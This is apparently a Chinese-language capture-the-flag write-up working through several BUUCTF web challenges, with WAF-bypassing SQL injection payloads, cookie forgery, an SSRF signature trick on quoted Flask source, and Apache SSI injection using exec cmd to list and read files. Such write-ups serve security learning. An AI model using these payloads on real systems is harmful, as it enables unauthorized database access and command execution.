[SWPU2019]Web1
參考:
[buuctf-SWPU2019]Web1(小宇特詳解)-CSDN部落格
information_schema過濾與無列名注入_mysql 5.0以上的information表 如果給過濾用不了的 話你要怎麼查庫表列名-CSDN部落格
upfine的部落格 (cnblogs.com)
這邊有個註冊,我註冊了一下,登陸進去
有個申請廣告,我以為xss,但好像並沒有機器人會確認你的廣告,所以釣魚不到
所以在廣告詳情這裡又發現了引數,應該這道題是sql注入
這過濾了空格,or,--+
所以我們/**/繞過空格,並且無法用order,所以我們直接一個一個試多少個欄位,一共22個
-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
2,3均回顯
然後爆資料庫
-1'/**/union/**/select/**/1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
然後開始爆表
這裡發現有報錯了,突然想起來information裡面有or
所以換了一種
-1'/**/union/**/select/**/1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
-1'/**/union/**/select/**/1,2,table_name,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/sys.schema_auto_increment_columns/**/where/**/database_name="web1"'//這個不行
然後就是爆列,這無法爆出來,我們就無列名注入https://blog.csdn.net/weixin_49656607/article/details/119988304
然後這邊為什麼是三個列,我也沒搞明白,試出來的?
-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22&&'1'='1
[BSidesCF 2019]Kookie
開啟題目是一個登入框,他說檢驗cookie
然後我們burp抓包加一個
Cookie:username=admin
拿到flag
[BSidesCF 2019]Futurella
啊,F12
[De1CTF 2019]SSRF Me
參考:
[BUUCTF | De1CTF 2019]SSRF Me - 東坡肉肉君 - 部落格園 (cnblogs.com)
[BUUCTF:De1CTF 2019]SSRF Me_buuctf [de1ctf 2019]ssrf me-CSDN部落格
已經提示了檔案路徑
整理一下原始碼
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
import importlib,sys
importlib.reload(sys)
sys.setdefaultencoding('latin1') #編碼轉換
app = Flask(__name__) #Flask框架
secert_key = os.urandom(16) #返回一個有n個byte那麼長的一個string,然後很適合用於加密。
class Task:
def __init__(self, action, param, sign, ip):#python的構造方法
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr os.path.exists判斷括號裡的檔案是否存在的意思,括號內的可以是檔案路徑。
os.mkdir(self.sandbox) #用於以數字許可權模式建立目錄。
def Exec(self):# 定義的命令執行函式。
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:#action的值包括scan
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)#檔案讀取的注入點
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print(resp)#輸出結果
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:#action的值包括read
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):#判斷
#hashlib.md5(secert_key + param + action).hexdigest()
return True
else:
return False
#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])#此路由用於測試
def geneSign():
param = urllib.unquote(request.args.get("param", "")) #urllib.unquote字串被當作url提交時會被自動進行url編碼處理, 當需要獲取前端頁面表單傳過來的id值的時候,我們就需要用request.args.get,而不能用request.form
action = "scan"
return getSign(action, param)
#hashlib.md5(secert_key + param + action).hexdigest()
#即: hashlib.md5(secert_key + param + 'scan').hexdigest()
@app.route('/De1ta',methods=['GET','POST'])#此路由用於注入
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec()) #將一個Python資料結構轉換為JSON
@app.route('/') # 根目錄路由,就是顯示原始碼得地方
def index():
return open("code.txt","r").read()
def scan(param):# 這是用來掃目錄的函式
socket.setdefaulttimeout(1)#代表經過t秒後,如果還未下載成功,自動跳入下一次操作,此次下載失敗。
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):#wef,需要繞過
check=param.strip().lower() #用於移除字串頭尾指定的字元(預設為空格或換行符)或字元序列。
if check.startswith("gopher") or check.startswith("file"):#.startswith用於檢查字串是否是以指定子字串開頭,
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')
有三個路由
然後看這裡
他將我們傳入的param的這個引數以及action的這個引數傳入到getSign函式
action已經固定為scan,而param為我們所傳值,後面應該可以利用上
getSign函式定義如下,來生成一個簽名,MD5
來生成一個簽名,MD5
再看challeng這個函式
從cookie裡面獲取action以及sign,再傳遞一個param引數,param有一層waf,然後去執行Exec這個函式
再看exec這個函式
先比較簽名,然後進行下一步,如果action裡面有scan這個字串,就以scan讀取檔案,然後有read,就以read讀取
我們需要利用利用scan
將flag.txt
的內容寫入到result.txt
中,然後read
讀取result.txt
我們需要scan以及read都要,也就是action=readscanm,所以我們構造簽名,在geneSign建立的sign值後面Exec裡面去比較時候這樣剛好構成相等
md5(secert_key + flag.txtread + scan) = md5(secert_key + flag.txt + readscan)
也就是這裡會相等
所以我們先去/geneSign創一個簽名、
/geneSign?param=flag.txtread
然後得到一個簽名
7afd8b4da9021c599e6561a2bf1f9bca
然後去/Delta去再傳遞一下Cookie就得到flag了
[BJDCTF2020]EasySearch
參考:
BJDCTF2020 EasySearch_bjdctf2020easy search-CSDN部落格
Apache SSI 遠端命令執行漏洞復現 - 雨中落葉 - 部落格園 (cnblogs.com)
我這邊沒掃到目錄,根據wp是有一個index.php.swp這個備份檔案
訪問一下,看一下
意思就是我們需要傳遞的密碼裡面,md5加密後前6位=‘6d0bc1'
指令碼看一下
import hashlib
for i in range(10000000):
a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if(a[0:6]=='6d0bc1'):
print(i)
然後我們抓包,post傳遞一下
username=1&password=2020666
然後看響應包有一個
然後我們訪問一下
然後我以為會在XFF這些有命令執行,沒找到
然後就是wp說到Apache SSI 遠端命令執行漏洞復現 - 雨中落葉 - 部落格園 (cnblogs.com)
然後post
username=<!--#exec cmd="ls /"-->&password=2020666
訪問一下
接下來就是找flag
username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->&password=2020666